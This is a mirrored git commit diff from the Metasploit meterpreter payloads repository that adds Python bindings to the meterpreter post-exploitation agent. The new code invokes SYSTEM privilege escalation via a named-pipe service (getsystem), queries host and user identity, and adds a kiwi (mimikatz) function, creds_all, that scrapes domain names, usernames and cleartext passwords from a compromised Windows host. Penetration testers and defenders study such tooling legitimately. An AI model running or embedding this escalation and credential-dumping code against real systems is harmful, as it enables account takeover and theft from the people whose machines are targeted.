mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-02 11:36:22 +01:00
More bindings, including kiwi as an example
This commit is contained in:
parent
04cb09737e
commit
4b2257c791
@ -6,7 +6,7 @@
|
|||||||
#define _METERPRETER_SOURCE_COMMON_COMMON_H
|
#define _METERPRETER_SOURCE_COMMON_COMMON_H
|
||||||
|
|
||||||
/*! @brief Set to 0 for "normal", and 1 to "verbose", comment out to disable completely. */
|
/*! @brief Set to 0 for "normal", and 1 to "verbose", comment out to disable completely. */
|
||||||
#define DEBUGTRACE 0
|
//#define DEBUGTRACE 0
|
||||||
|
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -182,10 +182,12 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
|||||||
thread_join(pThread);
|
thread_join(pThread);
|
||||||
|
|
||||||
// get the exit code for our pthread
|
// get the exit code for our pthread
|
||||||
|
dprintf("[ELEVATE] dwResult before exit code: %u", dwResult);
|
||||||
if (!GetExitCodeThread(pThread->handle, &dwResult)) {
|
if (!GetExitCodeThread(pThread->handle, &dwResult)) {
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. GetExitCodeThread failed",
|
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. GetExitCodeThread failed",
|
||||||
ERROR_INVALID_HANDLE);
|
ERROR_INVALID_HANDLE);
|
||||||
}
|
}
|
||||||
|
dprintf("[ELEVATE] dwResult after exit code: %u", dwResult);
|
||||||
|
|
||||||
} while (0);
|
} while (0);
|
||||||
|
|
||||||
|
@ -127,34 +127,61 @@ bytes = lambda *args: str(*args[:1])
|
|||||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
|
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
|
||||||
|
|
||||||
def tlv_pack(*args):
|
def tlv_pack(*args):
|
||||||
if len(args) == 2:
|
if len(args) == 2:
|
||||||
tlv = {'type':args[0], 'value':args[1]}
|
tlv = {'type':args[0], 'value':args[1]}
|
||||||
else:
|
else:
|
||||||
tlv = args[0]
|
tlv = args[0]
|
||||||
data = ''
|
data = ''
|
||||||
value = tlv['value']
|
value = tlv['value']
|
||||||
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||||
if isinstance(value, float):
|
if isinstance(value, float):
|
||||||
value = int(round(value))
|
value = int(round(value))
|
||||||
data = struct.pack('>III', 12, tlv['type'], value)
|
data = struct.pack('>III', 12, tlv['type'], value)
|
||||||
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
||||||
data = struct.pack('>IIQ', 16, tlv['type'], value)
|
data = struct.pack('>IIQ', 16, tlv['type'], value)
|
||||||
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||||
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(value))), 'UTF-8')
|
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(value))), 'UTF-8')
|
||||||
else:
|
else:
|
||||||
if value.__class__.__name__ == 'unicode':
|
if value.__class__.__name__ == 'unicode':
|
||||||
value = value.encode('UTF-8')
|
value = value.encode('UTF-8')
|
||||||
elif not is_bytes(value):
|
elif not is_bytes(value):
|
||||||
value = bytes(value, 'UTF-8')
|
value = bytes(value, 'UTF-8')
|
||||||
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||||
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
|
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
|
||||||
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||||
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
|
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
|
||||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||||
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
|
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
|
||||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
def packet_enum_tlvs(pkt, tlv_type = None):
|
||||||
|
offset = 0
|
||||||
|
while (offset < len(pkt)):
|
||||||
|
tlv = struct.unpack('>II', pkt[offset:offset+8])
|
||||||
|
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
|
||||||
|
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
|
||||||
|
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||||
|
val = str(val.split(NULL_BYTE, 1)[0])
|
||||||
|
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||||
|
val = struct.unpack('>I', val)[0]
|
||||||
|
elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
||||||
|
val = struct.unpack('>Q', val)[0]
|
||||||
|
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||||
|
val = bool(struct.unpack('b', val)[0])
|
||||||
|
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||||
|
pass
|
||||||
|
yield {'type':tlv[1], 'length':tlv[0], 'value':val}
|
||||||
|
offset += tlv[0]
|
||||||
|
raise StopIteration()
|
||||||
|
|
||||||
|
def packet_get_tlv(pkt, tlv_type):
|
||||||
|
try:
|
||||||
|
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
|
||||||
|
except IndexError:
|
||||||
|
return {}
|
||||||
|
return tlv
|
||||||
|
|
||||||
# END OF COPY PASTE
|
# END OF COPY PASTE
|
||||||
|
|
||||||
@ -166,15 +193,16 @@ def validate_bindings(required):
|
|||||||
if len(missing) > 0:
|
if len(missing) > 0:
|
||||||
raise Exception('Missing bindings: {0}'.format(list(missing)))
|
raise Exception('Missing bindings: {0}'.format(list(missing)))
|
||||||
|
|
||||||
def invoke_meterpreter(method, is_local, tlv):
|
def invoke_meterpreter(method, is_local, tlv = ""):
|
||||||
validate_bindings([method])
|
validate_bindings([method])
|
||||||
|
|
||||||
#print "{0} packet is {1} bytes".format(method, len(tlv))
|
|
||||||
header = struct.pack('>I', PACKET_TYPE_REQUEST)
|
header = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||||
header += tlv_pack(TLV_TYPE_METHOD, method)
|
header += tlv_pack(TLV_TYPE_METHOD, method)
|
||||||
header += tlv_pack(TLV_TYPE_REQUEST_ID, 0)
|
header += tlv_pack(TLV_TYPE_REQUEST_ID, 0)
|
||||||
req = struct.pack('>I', len(header) + len(tlv) + 4) + header + tlv
|
req = struct.pack('>I', len(header) + len(tlv) + 4) + header + tlv
|
||||||
|
|
||||||
return getattr(meterpreter_bindings, method)(is_local, req)
|
return getattr(meterpreter_bindings, method)(is_local, req)
|
||||||
|
|
||||||
def rnd_string(n):
|
def rnd_string(n):
|
||||||
return ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(n))
|
return ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(n))
|
||||||
|
|
||||||
|
@ -12,4 +12,14 @@ def getsystem():
|
|||||||
tlv = tlv_pack(TLV_TYPE_ELEVATE_TECHNIQUE, 1)
|
tlv = tlv_pack(TLV_TYPE_ELEVATE_TECHNIQUE, 1)
|
||||||
tlv = tlv_pack(TLV_TYPE_ELEVATE_SERVICE_NAME, rnd_string(5))
|
tlv = tlv_pack(TLV_TYPE_ELEVATE_SERVICE_NAME, rnd_string(5))
|
||||||
resp = invoke_meterpreter('priv_elevate_getsystem', True, tlv)
|
resp = invoke_meterpreter('priv_elevate_getsystem', True, tlv)
|
||||||
return resp
|
if resp == None:
|
||||||
|
return False
|
||||||
|
|
||||||
|
return packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] == 0
|
||||||
|
|
||||||
|
def rev2self():
|
||||||
|
resp = invoke_meterpreter('stdapi_sys_config_rev2self', True)
|
||||||
|
if resp == None:
|
||||||
|
return False
|
||||||
|
|
||||||
|
return packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] == 0
|
||||||
|
@ -0,0 +1,46 @@
|
|||||||
|
import meterpreter_bindings
|
||||||
|
import meterpreter.user
|
||||||
|
|
||||||
|
from meterpreter.core import *
|
||||||
|
|
||||||
|
TLV_KIWI_EXTENSION = 20000
|
||||||
|
|
||||||
|
TLV_TYPE_KIWI_PWD_ID = TLV_META_TYPE_UINT | (TLV_KIWI_EXTENSION + 1)
|
||||||
|
TLV_TYPE_KIWI_PWD_RESULT = TLV_META_TYPE_GROUP | (TLV_KIWI_EXTENSION + 2)
|
||||||
|
TLV_TYPE_KIWI_PWD_USERNAME = TLV_META_TYPE_STRING | (TLV_KIWI_EXTENSION + 3)
|
||||||
|
TLV_TYPE_KIWI_PWD_DOMAIN = TLV_META_TYPE_STRING | (TLV_KIWI_EXTENSION + 4)
|
||||||
|
TLV_TYPE_KIWI_PWD_PASSWORD = TLV_META_TYPE_STRING | (TLV_KIWI_EXTENSION + 5)
|
||||||
|
TLV_TYPE_KIWI_PWD_AUTH_HI = TLV_META_TYPE_UINT | (TLV_KIWI_EXTENSION + 6)
|
||||||
|
TLV_TYPE_KIWI_PWD_AUTH_LO = TLV_META_TYPE_UINT | (TLV_KIWI_EXTENSION + 7)
|
||||||
|
TLV_TYPE_KIWI_PWD_LMHASH = TLV_META_TYPE_STRING | (TLV_KIWI_EXTENSION + 8)
|
||||||
|
TLV_TYPE_KIWI_PWD_NTLMHASH = TLV_META_TYPE_STRING | (TLV_KIWI_EXTENSION + 9)
|
||||||
|
|
||||||
|
def creds_all():
|
||||||
|
if not meterpreter.user.is_system():
|
||||||
|
raise Exception('Unable to extract credentials: Not running as SYSTEM')
|
||||||
|
|
||||||
|
tlv = tlv_pack(TLV_TYPE_KIWI_PWD_ID, 0)
|
||||||
|
resp = invoke_meterpreter('kiwi_scrape_passwords', True, tlv)
|
||||||
|
if resp == None:
|
||||||
|
return False
|
||||||
|
|
||||||
|
if packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] != 0:
|
||||||
|
return False
|
||||||
|
|
||||||
|
found = set([])
|
||||||
|
creds = []
|
||||||
|
for group in packet_enum_tlvs(resp, TLV_TYPE_KIWI_PWD_RESULT):
|
||||||
|
domain = packet_get_tlv(group['value'], TLV_TYPE_KIWI_PWD_DOMAIN)
|
||||||
|
username = packet_get_tlv(group['value'], TLV_TYPE_KIWI_PWD_USERNAME)
|
||||||
|
password = packet_get_tlv(group['value'], TLV_TYPE_KIWI_PWD_PASSWORD)
|
||||||
|
|
||||||
|
if domain and username and password:
|
||||||
|
key = '{0}\x01{1}\x01{2}'.format(domain['value'], username['value'], password['value'])
|
||||||
|
if not key in found:
|
||||||
|
found.add(key)
|
||||||
|
creds.append({
|
||||||
|
'Domain': domain['value'],
|
||||||
|
'Username': username['value'],
|
||||||
|
'Password': password['value']
|
||||||
|
})
|
||||||
|
return creds
|
@ -0,0 +1,27 @@
|
|||||||
|
import meterpreter_bindings
|
||||||
|
|
||||||
|
from meterpreter.core import *
|
||||||
|
|
||||||
|
TLV_STDAPI_EXTENSION = 0
|
||||||
|
|
||||||
|
TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1040)
|
||||||
|
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1041)
|
||||||
|
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1043)
|
||||||
|
TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1044)
|
||||||
|
TLV_TYPE_DOMAIN = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1046)
|
||||||
|
TLV_TYPE_LOGGED_ON_USER_COUNT = TLV_META_TYPE_UINT | (TLV_STDAPI_EXTENSION + 1047)
|
||||||
|
|
||||||
|
def info():
|
||||||
|
resp = invoke_meterpreter('stdapi_sys_config_sysinfo', True)
|
||||||
|
if resp == None:
|
||||||
|
return False
|
||||||
|
|
||||||
|
return {
|
||||||
|
'Host': packet_get_tlv(resp, TLV_TYPE_COMPUTER_NAME)['value'],
|
||||||
|
'OS': packet_get_tlv(resp, TLV_TYPE_OS_NAME)['value'],
|
||||||
|
'Arch': packet_get_tlv(resp, TLV_TYPE_ARCHITECTURE)['value'],
|
||||||
|
'Lang': packet_get_tlv(resp, TLV_TYPE_LANG_SYSTEM)['value'],
|
||||||
|
'Domain': packet_get_tlv(resp, TLV_TYPE_DOMAIN)['value'],
|
||||||
|
'LoggedOn': packet_get_tlv(resp, TLV_TYPE_LOGGED_ON_USER_COUNT)['value']
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,27 @@
|
|||||||
|
import meterpreter_bindings
|
||||||
|
|
||||||
|
from meterpreter.core import *
|
||||||
|
|
||||||
|
TLV_STDAPI_EXTENSION = 0
|
||||||
|
|
||||||
|
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1042)
|
||||||
|
TLV_TYPE_SID = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1045)
|
||||||
|
|
||||||
|
SYSTEM_SID = "S-1-5-18"
|
||||||
|
|
||||||
|
def getuid():
|
||||||
|
resp = invoke_meterpreter('stdapi_sys_config_getuid', True)
|
||||||
|
if resp == None:
|
||||||
|
return False
|
||||||
|
|
||||||
|
return packet_get_tlv(resp, TLV_TYPE_USER_NAME)['value']
|
||||||
|
|
||||||
|
def getsid():
|
||||||
|
resp = invoke_meterpreter('stdapi_sys_config_getsid', True)
|
||||||
|
if resp == None:
|
||||||
|
return False
|
||||||
|
|
||||||
|
return packet_get_tlv(resp, TLV_TYPE_SID)['value']
|
||||||
|
|
||||||
|
def is_system():
|
||||||
|
return getsid() == SYSTEM_SID
|
Binary file not shown.
@ -26,17 +26,21 @@ static PyObject* binding_invoke(PyObject* self, PyObject* args)
|
|||||||
packet.payload = (PUCHAR)(packetBytes + sizeof(TlvHeader));
|
packet.payload = (PUCHAR)(packetBytes + sizeof(TlvHeader));
|
||||||
packet.payloadLength = (ULONG)packetLength - sizeof(TlvHeader);
|
packet.payloadLength = (ULONG)packetLength - sizeof(TlvHeader);
|
||||||
|
|
||||||
|
|
||||||
// If the functionality doesn't require interaction with MSF, then
|
// If the functionality doesn't require interaction with MSF, then
|
||||||
// make the packet as local so that the packet receives the request
|
// make the packet as local so that the packet receives the request
|
||||||
// and so that the packet doesn't get sent to Meterpreter
|
// and so that the packet doesn't get sent to Meterpreter
|
||||||
packet.local = isLocal;
|
packet.local = isLocal;
|
||||||
|
|
||||||
DWORD result = command_handle(gRemote, &packet);
|
command_handle(gRemote, &packet);
|
||||||
|
|
||||||
// really not sure how to deal with the non-local responses at this point.
|
// really not sure how to deal with the non-local responses at this point.
|
||||||
|
if (packet.partner == NULL)
|
||||||
|
{
|
||||||
|
// "None"
|
||||||
|
return Py_BuildValue("");
|
||||||
|
}
|
||||||
|
|
||||||
return result == ERROR_SUCCESS ? Py_True : Py_False;
|
return PyString_FromStringAndSize(packet.partner->payload, packet.partner->payloadLength);
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID binding_insert_command(const char* commandName)
|
VOID binding_insert_command(const char* commandName)
|
||||||
|
@ -706,8 +706,10 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
|
|||||||
packet_add_tlv_uint(response, TLV_TYPE_LOGGED_ON_USER_COUNT, localSysinfo->wki102_logged_on_users);
|
packet_add_tlv_uint(response, TLV_TYPE_LOGGED_ON_USER_COUNT, localSysinfo->wki102_logged_on_users);
|
||||||
free(domainName);
|
free(domainName);
|
||||||
}
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
dprintf("[CONFIG] Failed to get local system info for logged on user count / domain");
|
||||||
|
}
|
||||||
} while (0);
|
} while (0);
|
||||||
#else
|
#else
|
||||||
CHAR os[512];
|
CHAR os[512];
|
||||||
|
Loading…
Reference in New Issue
Block a user